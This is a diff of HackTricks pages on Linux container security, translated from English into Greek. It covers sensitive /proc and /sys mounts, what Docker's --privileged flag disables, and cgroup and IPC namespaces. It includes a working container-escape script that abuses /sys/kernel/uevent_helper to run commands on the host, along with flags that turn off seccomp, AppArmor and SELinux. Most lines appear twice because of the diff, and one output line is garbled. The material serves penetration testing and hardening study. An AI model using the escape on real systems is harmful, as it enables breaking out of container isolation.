- Λεπτομέρειες στο [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
#### **`/proc/[pid]/mem`**
- Interfaces with the kernel memory device `/dev/mem`.
- Historically vulnerable to privilege escalation attacks.
- More on [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
- Διασύνδεση με τη συσκευή μνήμης του πυρήνα `/dev/mem`.
- Ιστορικά ευάλωτο σε επιθέσεις εκμετάλλευσης δικαιωμάτων.
- Περισσότερα στο [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
#### **`/proc/kcore`**
- Represents the system's physical memory in ELF core format.
- Reading can leak host system and other containers' memory contents.
- Large file size can lead to reading issues or software crashes.
- Detailed usage in [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/).
- Αντιπροσωπεύει τη φυσική μνήμη του συστήματος σε μορφή ELF core.
- Η ανάγνωση μπορεί να διαρρεύσει περιεχόμενα μνήμης του κεντρικού υπολογιστή και άλλων κοντέινερ.
- Το μεγάλο μέγεθος αρχείου μπορεί να οδηγήσει σε προβλήματα ανάγνωσης ή κρασάρισμα λογισμικού.
- Λεπτομερής χρήση στο [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/).
#### **`/proc/kmem`**
- Alternate interface for `/dev/kmem`, representing kernel virtual memory.
- Allows reading and writing, hence direct modification of kernel memory.
- Εναλλακτική διασύνδεση για το `/dev/kmem`, που αντιπροσωπεύει την εικονική μνήμη του πυρήνα.
- Επιτρέπει την ανάγνωση και εγγραφή, επομένως άμεση τροποποίηση της μνήμης του πυρήνα.
#### **`/proc/mem`**
- Alternate interface for `/dev/mem`, representing physical memory.
- Allows reading and writing, modification of all memory requires resolving virtual to physical addresses.
- Εναλλακτική διασύνδεση για το `/dev/mem`, που αντιπροσωπεύει τη φυσική μνήμη.
- Επιτρέπει την ανάγνωση και εγγραφή, η τροποποίηση όλης της μνήμης απαιτεί την επίλυση εικονικών σε φυσικές διευθύνσεις.
#### **`/proc/sched_debug`**
- Returns process scheduling information, bypassing PID namespace protections.
- Exposes process names, IDs, and cgroup identifiers.
- Επιστρέφει πληροφορίες προγραμματισμού διεργασιών, παρακάμπτοντας τις προστασίες του PID namespace.
- Εκθέτει ονόματα διεργασιών, IDs και αναγνωριστικά cgroup.
#### **`/proc/[pid]/mountinfo`**
- Provides information about mount points in the process's mount namespace.
- Exposes the location of the container `rootfs` or image.
- Παρέχει πληροφορίες σχετικά με τα σημεία τοποθέτησης στο namespace τοποθέτησης της διεργασίας.
- Εκθέτει τη θέση του `rootfs` ή της εικόνας του κοντέινερ.
### `/sys` Vulnerabilities
### Ευπάθειες `/sys`
#### **`/sys/kernel/uevent_helper`**
- Used for handling kernel device `uevents`.
- Writing to `/sys/kernel/uevent_helper` can execute arbitrary scripts upon `uevent` triggers.
- **Example for Exploitation**: %%%bash
- Χρησιμοποιείται για την επεξεργασία `uevents` συσκευών πυρήνα.
- Η εγγραφή στο `/sys/kernel/uevent_helper` μπορεί να εκτελέσει αυθαίρετα σενάρια κατά την ενεργοποίηση `uevent`.
- **Παράδειγμα Εκμετάλλευσης**: %%%bash
#### Creates a payload
#### Δημιουργεί ένα payload
echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper
echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper
#### Finds host path from OverlayFS mount for container
#### Βρίσκει τη διαδρομή του κεντρικού υπολογιστή από το OverlayFS mount για το κοντέινερ
host*path=$(sed -n 's/.*\perdir=(\[^,]\_).\*/\1/p' /etc/mtab)
host*path=$(sed -n 's/.*\perdir=(\[^,]\_).\*/\1/p' /etc/mtab)
#### Sets uevent_helper to malicious helper
#### Ορίζει το uevent_helper σε κακόβουλο helper
echo "$host_path/evil-helper" > /sys/kernel/uevent_helper
echo "$host_path/evil-helper" > /sys/kernel/uevent_helper
#### Triggers a uevent
#### Ενεργοποιεί ένα uevent
echo change > /sys/class/mem/null/uevent
echo change > /sys/class/mem/null/uevent
#### Reads the output
#### Διαβάζει την έξοδο
cat /output %%%
cat /output %%%
#### **`/sys/class/thermal`**
- Controls temperature settings, potentially causing DoS attacks or physical damage.
- Ελέγχει τις ρυθμίσεις θερμοκρασίας, προκαλώντας πιθανώς επιθέσεις DoS ή φυσική ζημιά.
#### **`/sys/kernel/vmcoreinfo`**
- Leaks kernel addresses, potentially compromising KASLR.
- Διαρρέει διευθύνσεις πυρήνα, πιθανώς υπονομεύοντας το KASLR.
#### **`/sys/kernel/security`**
- Houses `securityfs` interface, allowing configuration of Linux Security Modules like AppArmor.
- Access might enable a container to disable its MAC system.
- Στεγάζει τη διεπαφή `securityfs`, επιτρέποντας τη ρύθμιση των Linux Security Modules όπως το AppArmor.
- Η πρόσβαση μπορεί να επιτρέψει σε ένα κοντέινερ να απενεργοποιήσει το σύστημα MAC του.
#### **`/sys/firmware/efi/vars` and `/sys/firmware/efi/efivars`**
#### **`/sys/firmware/efi/vars` και `/sys/firmware/efi/efivars`**
- Exposes interfaces for interacting with EFI variables in NVRAM.
- Misconfiguration or exploitation can lead to bricked laptops or unbootable host machines.
- Εκθέτει διεπαφές για την αλληλεπίδραση με τις μεταβλητές EFI στο NVRAM.
- Η κακή ρύθμιση ή η εκμετάλλευση μπορεί να οδηγήσει σε κατεστραμμένα laptops ή μηχανές κεντρικού υπολογιστή που δεν εκκινούν.
#### **`/sys/kernel/debug`**
- `debugfs` offers a "no rules" debugging interface to the kernel.
- History of security issues due to its unrestricted nature.
- Το `debugfs` προσφέρει μια διεπαφή αποσφαλμάτωσης "χωρίς κανόνες" στον πυρήνα.
- Ιστορικό προβλημάτων ασφαλείας λόγω της απεριόριστης φύσης του.
### References
### Αναφορές
- [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)
- [Understanding and Hardening Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc_group_understanding_hardening_linux_containers-1-1.pdf)
- [Abusing Privileged and Unprivileged Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container_whitepaper.pdf)
<figure><img src="../../../..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
- [Κατανόηση και Σκληραγώγηση των Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc_group_understanding_hardening_linux_containers-1-1.pdf)
- [Κατάχρηση Προνομιακών και Μη Προνομιακών Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container_whitepaper.pdf)
{{#include ../../../../banners/hacktricks-training.md}}

View File

@ -2,28 +2,25 @@
{{#include ../../../banners/hacktricks-training.md}}
## What Affects
## Τι Επηρεάζει
When you run a container as privileged these are the protections you are disabling:
Όταν εκτελείτε ένα κοντέινερ ως privileged, αυτές είναι οι προστασίες που απενεργοποιείτε:
### Mount /dev
In a privileged container, all the **devices can be accessed in `/dev/`**. Therefore you can **escape** by **mounting** the disk of the host.
Σε ένα privileged κοντέινερ, όλες οι ** συσκευές είναι προσβάσιμες στο `/dev/`**. Επομένως, μπορείτε να **escape** με το **mounting** του δίσκου του host.
{{#tabs}}
{{#tab name="Inside default container"}}
```bash
# docker run --rm -it alpine sh
ls /dev
console fd mqueue ptmx random stderr stdout urandom
core full null pts shm stdin tty zero
```
{{#endtab}}
{{#tab name="Inside Privileged Container"}}
{{#tab name="Μέσα σε Προνομιακό Κοντέινερ"}}
```bash
# docker run --rm --privileged -it alpine sh
ls /dev
@ -33,17 +30,15 @@ core mqueue ptmx stdin tty26
cpu nbd0 pts stdout tty27 tty47 ttyS0
[...]
```
{{#endtab}}
{{#endtabs}}
### Read-only kernel file systems
### Σύστημα αρχείων πυρήνα μόνο για ανάγνωση
Kernel file systems provide a mechanism for a process to modify the behavior of the kernel. However, when it comes to container processes, we want to prevent them from making any changes to the kernel. Therefore, we mount kernel file systems as **read-only** within the container, ensuring that the container processes cannot modify the kernel.
Τα συστήματα αρχείων πυρήνα παρέχουν έναν μηχανισμό για μια διαδικασία να τροποποιήσει τη συμπεριφορά του πυρήνα. Ωστόσο, όταν πρόκειται για διαδικασίες κοντέινερ, θέλουμε να αποτρέψουμε την πραγματοποίηση οποιωνδήποτε αλλαγών στον πυρήνα. Επομένως, τοποθετούμε τα συστήματα αρχείων πυρήνα ως **μόνο για ανάγνωση** εντός του κοντέινερ, διασφαλίζοντας ότι οι διαδικασίες του κοντέινερ δεν μπορούν να τροποποιήσουν τον πυρήνα.
{{#tabs}}
{{#tab name="Inside default container"}}
```bash
# docker run --rm -it alpine sh
mount | grep '(ro'
@ -52,28 +47,24 @@ cpuset on /sys/fs/cgroup/cpuset type cgroup (ro,nosuid,nodev,noexec,relatime,cpu
cpu on /sys/fs/cgroup/cpu type cgroup (ro,nosuid,nodev,noexec,relatime,cpu)
cpuacct on /sys/fs/cgroup/cpuacct type cgroup (ro,nosuid,nodev,noexec,relatime,cpuacct)
```
{{#endtab}}
{{#tab name="Inside Privileged Container"}}
{{#tab name="Μέσα σε Προνομιακό Κοντέινερ"}}
```bash
# docker run --rm --privileged -it alpine sh
mount | grep '(ro'
```
{{#endtab}}
{{#endtabs}}
### Masking over kernel file systems
### Απόκρυψη πάνω από τα συστήματα αρχείων πυρήνα
The **/proc** file system is selectively writable but for security, certain parts are shielded from write and read access by overlaying them with **tmpfs**, ensuring container processes can't access sensitive areas.
Το **/proc** σύστημα αρχείων είναι επιλεκτικά εγγράψιμο, αλλά για λόγους ασφαλείας, ορισμένα μέρη είναι προστατευμένα από πρόσβαση εγγραφής και ανάγνωσης, επικαλύπτοντάς τα με **tmpfs**, διασφαλίζοντας ότι οι διαδικασίες κοντέινερ δεν μπορούν να έχουν πρόσβαση σε ευαίσθητες περιοχές.
> [!NOTE] > **tmpfs** is a file system that stores all the files in virtual memory. tmpfs doesn't create any files on your hard drive. So if you unmount a tmpfs file system, all the files residing in it are lost for ever.
> [!NOTE] > **tmpfs** είναι ένα σύστημα αρχείων που αποθηκεύει όλα τα αρχεία στη εικονική μνήμη. Το tmpfs δεν δημιουργεί κανένα αρχείο στον σκληρό σας δίσκο. Έτσι, αν αποσυνδέσετε ένα σύστημα αρχείων tmpfs, όλα τα αρχεία που βρίσκονται σε αυτό χάνονται για πάντα.
{{#tabs}}
{{#tab name="Inside default container"}}
```bash
# docker run --rm -it alpine sh
mount | grep /proc.*tmpfs
@ -81,22 +72,19 @@ tmpfs on /proc/acpi type tmpfs (ro,relatime)
tmpfs on /proc/kcore type tmpfs (rw,nosuid,size=65536k,mode=755)
tmpfs on /proc/keys type tmpfs (rw,nosuid,size=65536k,mode=755)
```
{{#endtab}}
{{#tab name="Inside Privileged Container"}}
{{#tab name="Μέσα σε Προνομιακό Κοντέινερ"}}
```bash
# docker run --rm --privileged -it alpine sh
mount | grep /proc.*tmpfs
```
{{#endtab}}
{{#endtabs}}
### Linux capabilities
### Δυνατότητες Linux
Container engines launch the containers with a **limited number of capabilities** to control what goes on inside of the container by default. **Privileged** ones have **all** the **capabilities** accesible. To learn about capabilities read:
Οι μηχανές κοντέινερ εκκινούν τα κοντέινερ με **περιορισμένο αριθμό δυνατοτήτων** για να ελέγχουν τι συμβαίνει μέσα στο κοντέινερ από προεπιλογή. Οι **προνομιακές** έχουν **όλες** τις **δυνατότητες** προσβάσιμες. Για να μάθετε για τις δυνατότητες διαβάστε:
{{#ref}}
../linux-capabilities.md
@ -104,7 +92,6 @@ Container engines launch the containers with a **limited number of capabilities*
{{#tabs}}
{{#tab name="Inside default container"}}
```bash
# docker run --rm -it alpine sh
apk add -U libcap; capsh --print
@ -113,11 +100,9 @@ Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,ca
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
[...]
```
{{#endtab}}
{{#tab name="Inside Privileged Container"}}
{{#tab name="Μέσα σε Προνομιακό Κοντέινερ"}}
```bash
# docker run --rm --privileged -it alpine sh
apk add -U libcap; capsh --print
@ -126,15 +111,14 @@ Current: =eip cap_perfmon,cap_bpf,cap_checkpoint_restore-eip
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
[...]
```
{{#endtab}}
{{#endtabs}}
You can manipulate the capabilities available to a container without running in `--privileged` mode by using the `--cap-add` and `--cap-drop` flags.
Μπορείτε να χειριστείτε τις δυνατότητες που είναι διαθέσιμες σε ένα κοντέινερ χωρίς να τρέχετε σε λειτουργία `--privileged` χρησιμοποιώντας τις σημαίες `--cap-add` και `--cap-drop`.
### Seccomp
**Seccomp** is useful to **limit** the **syscalls** a container can call. A default seccomp profile is enabled by default when running docker containers, but in privileged mode it is disabled. Learn more about Seccomp here:
**Seccomp** είναι χρήσιμο για να **περιορίσει** τις **syscalls** που μπορεί να καλέσει ένα κοντέινερ. Ένα προεπιλεγμένο προφίλ seccomp είναι ενεργοποιημένο από προεπιλογή όταν τρέχουν κοντέινερ docker, αλλά σε λειτουργία privileged είναι απενεργοποιημένο. Μάθετε περισσότερα για το Seccomp εδώ:
{{#ref}}
seccomp.md
@ -142,100 +126,86 @@ seccomp.md
{{#tabs}}
{{#tab name="Inside default container"}}
```bash
# docker run --rm -it alpine sh
grep Seccomp /proc/1/status
Seccomp: 2
Seccomp_filters: 1
```
{{#endtab}}
{{#tab name="Inside Privileged Container"}}
{{#tab name="Μέσα σε Προνομιακό Κοντέινερ"}}
```bash
# docker run --rm --privileged -it alpine sh
grep Seccomp /proc/1/status
Seccomp: 0
Seccomp_filters: 0
```
{{#endtab}}
{{#endtabs}}
```bash
# You can manually disable seccomp in docker with
--security-opt seccomp=unconfined
```
Also, note that when Docker (or other CRIs) are used in a **Kubernetes** cluster, the **seccomp filter is disabled by default**
Επίσης, σημειώστε ότι όταν χρησιμοποιούνται οι Docker (ή άλλες CRIs) σε ένα **Kubernetes** cluster, το **seccomp filter είναι απενεργοποιημένο από προεπιλογή**
### AppArmor
**AppArmor** is a kernel enhancement to confine **containers** to a **limited** set of **resources** with **per-program profiles**. When you run with the `--privileged` flag, this protection is disabled.
**AppArmor** είναι μια βελτίωση του πυρήνα για να περιορίσει τα **containers** σε ένα **περιορισμένο** σύνολο **πόρων** με **προφίλ ανά πρόγραμμα**. Όταν εκτελείτε με την επιλογή `--privileged`, αυτή η προστασία είναι απενεργοποιημένη.
{{#ref}}
apparmor.md
{{#endref}}
```bash
# You can manually disable seccomp in docker with
--security-opt apparmor=unconfined
```
### SELinux
Running a container with the `--privileged` flag disables **SELinux labels**, causing it to inherit the label of the container engine, typically `unconfined`, granting full access similar to the container engine. In rootless mode, it uses `container_runtime_t`, while in root mode, `spc_t` is applied.
Η εκτέλεση ενός κοντέινερ με την επιλογή `--privileged` απενεργοποιεί τις **ετικέτες SELinux**, προκαλώντας να κληρονομήσει την ετικέτα της μηχανής κοντέινερ, συνήθως `unconfined`, παρέχοντας πλήρη πρόσβαση παρόμοια με αυτή της μηχανής κοντέινερ. Σε λειτουργία χωρίς δικαιώματα root, χρησιμοποιεί `container_runtime_t`, ενώ σε λειτουργία root, εφαρμόζεται το `spc_t`.
{{#ref}}
../selinux.md
{{#endref}}
```bash
# You can manually disable selinux in docker with
--security-opt label:disable
```
## What Doesn't Affect
## Τι Δεν Επηρεάζει
### Namespaces
Namespaces are **NOT affected** by the `--privileged` flag. Even though they don't have the security constraints enabled, they **do not see all of the processes on the system or the host network, for example**. Users can disable individual namespaces by using the **`--pid=host`, `--net=host`, `--ipc=host`, `--uts=host`** container engines flags.
Τα Namespaces **ΔΕΝ επηρεάζονται** από την επιλογή `--privileged`. Αν και δεν έχουν ενεργοποιημένους τους περιορισμούς ασφαλείας, **δεν βλέπουν όλες τις διεργασίες στο σύστημα ή το δίκτυο του host, για παράδειγμα**. Οι χρήστες μπορούν να απενεργοποιήσουν μεμονωμένα namespaces χρησιμοποιώντας τις επιλογές **`--pid=host`, `--net=host`, `--ipc=host`, `--uts=host`** των μηχανών κοντέινερ.
{{#tabs}}
{{#tab name="Inside default privileged container"}}
```bash
# docker run --rm --privileged -it alpine sh
ps -ef
PID USER TIME COMMAND
1 root 0:00 sh
18 root 0:00 ps -ef
1 root 0:00 sh
18 root 0:00 ps -ef
```
{{#endtab}}
{{#tab name="Inside --pid=host Container"}}
{{#tab name="Μέσα --pid=host Container"}}
```bash
# docker run --rm --privileged --pid=host -it alpine sh
ps -ef
PID USER TIME COMMAND
1 root 0:03 /sbin/init
2 root 0:00 [kthreadd]
3 root 0:00 [rcu_gp]ount | grep /proc.*tmpfs
1 root 0:03 /sbin/init
2 root 0:00 [kthreadd]
3 root 0:00 [rcu_gp]ount | grep /proc.*tmpfs
[...]
```
{{#endtab}}
{{#endtabs}}
### User namespace
### Χώρος ονομάτων χρήστη
**By default, container engines don't utilize user namespaces, except for rootless containers**, which require them for file system mounting and using multiple UIDs. User namespaces, integral for rootless containers, cannot be disabled and significantly enhance security by restricting privileges.
**Από προεπιλογή, οι μηχανές κοντέινερ δεν χρησιμοποιούν χώρους ονομάτων χρηστών, εκτός από τα κοντέινερ χωρίς δικαιώματα root**, τα οποία τα απαιτούν για την τοποθέτηση συστήματος αρχείων και τη χρήση πολλαπλών UIDs. Οι χώροι ονομάτων χρηστών, που είναι αναγκαίοι για τα κοντέινερ χωρίς δικαιώματα root, δεν μπορούν να απενεργοποιηθούν και ενισχύουν σημαντικά την ασφάλεια περιορίζοντας τα δικαιώματα.
## References
## Αναφορές
- [https://www.redhat.com/sysadmin/privileged-flag-container-engines](https://www.redhat.com/sysadmin/privileged-flag-container-engines)

View File

@ -1,44 +1,44 @@
# Namespaces
# Ονόματα Χώρων
{{#include ../../../../banners/hacktricks-training.md}}
### **PID namespace**
### **Χώρος PID**
{{#ref}}
pid-namespace.md
{{#endref}}
### **Mount namespace**
### **Χώρος Mount**
{{#ref}}
mount-namespace.md
{{#endref}}
### **Network namespace**
### **Χώρος Δικτύου**
{{#ref}}
network-namespace.md
{{#endref}}
### **IPC Namespace**
### **Χώρος IPC**
{{#ref}}
ipc-namespace.md
{{#endref}}
### **UTS namespace**
### **Χώρος UTS**
{{#ref}}
uts-namespace.md
{{#endref}}
### Time Namespace
### Χώρος Χρόνου
{{#ref}}
time-namespace.md
{{#endref}}
### User namespace
### Χώρος Χρήστη
{{#ref}}
user-namespace.md

View File

@ -4,17 +4,17 @@
## Basic Information
A cgroup namespace is a Linux kernel feature that provides **isolation of cgroup hierarchies for processes running within a namespace**. Cgroups, short for **control groups**, are a kernel feature that allows organizing processes into hierarchical groups to manage and enforce **limits on system resources** like CPU, memory, and I/O.
Ένα cgroup namespace είναι μια δυνατότητα του πυρήνα Linux που παρέχει **απομόνωση των ιεραρχιών cgroup για διαδικασίες που εκτελούνται εντός ενός namespace**. Τα cgroups, συντομογραφία για **control groups**, είναι μια δυνατότητα του πυρήνα που επιτρέπει την οργάνωση διαδικασιών σε ιεραρχικές ομάδες για τη διαχείριση και επιβολή **ορίων στους πόρους του συστήματος** όπως CPU, μνήμη και I/O.
While cgroup namespaces are not a separate namespace type like the others we discussed earlier (PID, mount, network, etc.), they are related to the concept of namespace isolation. **Cgroup namespaces virtualize the view of the cgroup hierarchy**, so that processes running within a cgroup namespace have a different view of the hierarchy compared to processes running in the host or other namespaces.
Ενώ τα cgroup namespaces δεν είναι ένας ξεχωριστός τύπος namespace όπως οι άλλοι που συζητήσαμε νωρίτερα (PID, mount, network, κ.λπ.), σχετίζονται με την έννοια της απομόνωσης namespace. **Τα cgroup namespaces εικονικοποιούν την άποψη της ιεραρχίας cgroup**, έτσι ώστε οι διαδικασίες που εκτελούνται εντός ενός cgroup namespace να έχουν μια διαφορετική άποψη της ιεραρχίας σε σύγκριση με τις διαδικασίες που εκτελούνται στον κεντρικό υπολογιστή ή σε άλλα namespaces.
### How it works:
1. When a new cgroup namespace is created, **it starts with a view of the cgroup hierarchy based on the cgroup of the creating process**. This means that processes running in the new cgroup namespace will only see a subset of the entire cgroup hierarchy, limited to the cgroup subtree rooted at the creating process's cgroup.
2. Processes within a cgroup namespace will **see their own cgroup as the root of the hierarchy**. This means that, from the perspective of processes inside the namespace, their own cgroup appears as the root, and they cannot see or access cgroups outside of their own subtree.
3. Cgroup namespaces do not directly provide isolation of resources; **they only provide isolation of the cgroup hierarchy view**. **Resource control and isolation are still enforced by the cgroup** subsystems (e.g., cpu, memory, etc.) themselves.
1. Όταν δημιουργείται ένα νέο cgroup namespace, **ξεκινά με μια άποψη της ιεραρχίας cgroup βασισμένη στην cgroup της διαδικασίας που το δημιουργεί**. Αυτό σημαίνει ότι οι διαδικασίες που εκτελούνται στο νέο cgroup namespace θα βλέπουν μόνο ένα υποσύνολο της συνολικής ιεραρχίας cgroup, περιορισμένο στην υποδένδρο cgroup που έχει ρίζα την cgroup της διαδικασίας που το δημιουργεί.
2. Οι διαδικασίες εντός ενός cgroup namespace θα **βλέπουν τη δική τους cgroup ως τη ρίζα της ιεραρχίας**. Αυτό σημαίνει ότι, από την προοπτική των διαδικασιών μέσα στο namespace, η δική τους cgroup εμφανίζεται ως η ρίζα, και δεν μπορούν να δουν ή να έχουν πρόσβαση σε cgroups εκτός του δικού τους υποδένδρου.
3. Τα cgroup namespaces δεν παρέχουν άμεση απομόνωση πόρων; **παρέχουν μόνο απομόνωση της άποψης της ιεραρχίας cgroup**. **Ο έλεγχος και η απομόνωση πόρων επιβάλλονται ακόμα από τα ίδια τα υποσυστήματα cgroup** (π.χ., cpu, μνήμη, κ.λπ.).
For more information about CGroups check:
Για περισσότερες πληροφορίες σχετικά με τα CGroups ελέγξτε:
{{#ref}}
../cgroups.md
@ -25,67 +25,57 @@ For more information about CGroups check:
### Create different Namespaces
#### CLI
```bash
sudo unshare -C [--mount-proc] /bin/bash
```
By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**.
Με την τοποθέτηση μιας νέας παρουσίας του συστήματος αρχείων `/proc` αν χρησιμοποιήσετε την παράμετρο `--mount-proc`, διασφαλίζετε ότι η νέα mount namespace έχει μια **ακριβή και απομονωμένη άποψη των πληροφοριών διαδικασίας που είναι συγκεκριμένες για αυτή τη namespace**.
<details>
<summary>Error: bash: fork: Cannot allocate memory</summary>
<summary>Σφάλμα: bash: fork: Cannot allocate memory</summary>
When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below:
Όταν εκτελείται το `unshare` χωρίς την επιλογή `-f`, προκύπτει ένα σφάλμα λόγω του τρόπου που το Linux χειρίζεται τις νέες PID (Process ID) namespaces. Οι βασικές λεπτομέρειες και η λύση περιγράφονται παρακάτω:
1. **Problem Explanation**:
1. **Εξήγηση Προβλήματος**:
- The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do.
- Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace.
- The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace.
- Ο πυρήνας του Linux επιτρέπει σε μια διαδικασία να δημιουργεί νέες namespaces χρησιμοποιώντας την κλήση συστήματος `unshare`. Ωστόσο, η διαδικασία που ξεκινά τη δημιουργία μιας νέας PID namespace (αναφερόμενη ως η διαδικασία "unshare") δεν εισέρχεται στη νέα namespace; μόνο οι παιδικές της διαδικασίες το κάνουν.
- Η εκτέλεση `%unshare -p /bin/bash%` ξεκινά το `/bin/bash` στην ίδια διαδικασία με το `unshare`. Ως εκ τούτου, το `/bin/bash` και οι παιδικές του διαδικασίες βρίσκονται στην αρχική PID namespace.
- Η πρώτη παιδική διαδικασία του `/bin/bash` στη νέα namespace γίνεται PID 1. Όταν αυτή η διαδικασία τερματίσει, ενεργοποιεί την καθαριότητα της namespace αν δεν υπάρχουν άλλες διαδικασίες, καθώς το PID 1 έχει τον ειδικό ρόλο της υιοθέτησης ορφανών διαδικασιών. Ο πυρήνας του Linux θα απενεργοποιήσει στη συνέχεια την κατανομή PID σε αυτή τη namespace.
2. **Consequence**:
2. **Συνέπεια**:
- The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error.
- Η έξοδος του PID 1 σε μια νέα namespace οδηγεί στον καθαρισμό της σημαίας `PIDNS_HASH_ADDING`. Αυτό έχει ως αποτέλεσμα τη αποτυχία της συνάρτησης `alloc_pid` να κατανοήσει ένα νέο PID κατά τη δημιουργία μιας νέας διαδικασίας, παράγοντας το σφάλμα "Cannot allocate memory".
3. **Solution**:
- The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace.
- Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation.
3. **Λύση**:
- Το πρόβλημα μπορεί να επιλυθεί χρησιμοποιώντας την επιλογή `-f` με το `unshare`. Αυτή η επιλογή κάνει το `unshare` να δημιουργήσει μια νέα διαδικασία μετά τη δημιουργία της νέας PID namespace.
- Η εκτέλεση `%unshare -fp /bin/bash%` διασφαλίζει ότι η εντολή `unshare` γίνεται PID 1 στη νέα namespace. Το `/bin/bash` και οι παιδικές του διαδικασίες είναι στη συνέχεια ασφαλώς περιορισμένες μέσα σε αυτή τη νέα namespace, αποτρέποντας την πρόωρη έξοδο του PID 1 και επιτρέποντας την κανονική κατανομή PID.
By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error.
Διασφαλίζοντας ότι το `unshare` εκτελείται με την επιλογή `-f`, η νέα PID namespace διατηρείται σωστά, επιτρέποντας στο `/bin/bash` και τις υπο-διαδικασίες του να λειτουργούν χωρίς να αντιμετωπίζουν το σφάλμα κατανομής μνήμης.
</details>
#### Docker
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
### &#x20;Check which namespace is your process in
### &#x20;Ελέγξτε σε ποιο namespace βρίσκεται η διαδικασία σας
```bash
ls -l /proc/self/ns/cgroup
lrwxrwxrwx 1 root root 0 Apr 4 21:19 /proc/self/ns/cgroup -> 'cgroup:[4026531835]'
```
### Find all CGroup namespaces
### Βρείτε όλα τα CGroup namespaces
```bash
sudo find /proc -maxdepth 3 -type l -name cgroup -exec readlink {} \; 2>/dev/null | sort -u
# Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name cgroup -exec ls -l {} \; 2>/dev/null | grep <ns-number>
```
### Enter inside an CGroup namespace
### Είσοδος σε ένα namespace CGroup
```bash
nsenter -C TARGET_PID --pid /bin/bash
```
Επίσης, μπορείτε να **μπείτε σε άλλο namespace διαδικασίας μόνο αν είστε root**. Και **δεν μπορείτε** να **μπείτε** σε άλλο namespace **χωρίς έναν περιγραφέα** που να δείχνει σε αυτό (όπως το `/proc/self/ns/cgroup`).
Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/cgroup`).
## References
## Αναφορές
- [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)

View File

@ -4,81 +4,70 @@
## Basic Information
An IPC (Inter-Process Communication) namespace is a Linux kernel feature that provides **isolation** of System V IPC objects, such as message queues, shared memory segments, and semaphores. This isolation ensures that processes in **different IPC namespaces cannot directly access or modify each other's IPC objects**, providing an additional layer of security and privacy between process groups.
Ένα IPC (Inter-Process Communication) namespace είναι μια δυνατότητα του πυρήνα Linux που παρέχει **απομόνωση** των αντικειμένων IPC System V, όπως οι ουρές μηνυμάτων, τα τμήματα κοινής μνήμης και οι σηματοδότες. Αυτή η απομόνωση διασφαλίζει ότι οι διαδικασίες σε **διαφορετικά IPC namespaces δεν μπορούν να έχουν άμεση πρόσβαση ή να τροποποιήσουν τα αντικείμενα IPC των άλλων**, παρέχοντας ένα επιπλέον επίπεδο ασφάλειας και ιδιωτικότητας μεταξύ των ομάδων διαδικασιών.
### How it works:
1. When a new IPC namespace is created, it starts with a **completely isolated set of System V IPC objects**. This means that processes running in the new IPC namespace cannot access or interfere with the IPC objects in other namespaces or the host system by default.
2. IPC objects created within a namespace are visible and **accessible only to processes within that namespace**. Each IPC object is identified by a unique key within its namespace. Although the key may be identical in different namespaces, the objects themselves are isolated and cannot be accessed across namespaces.
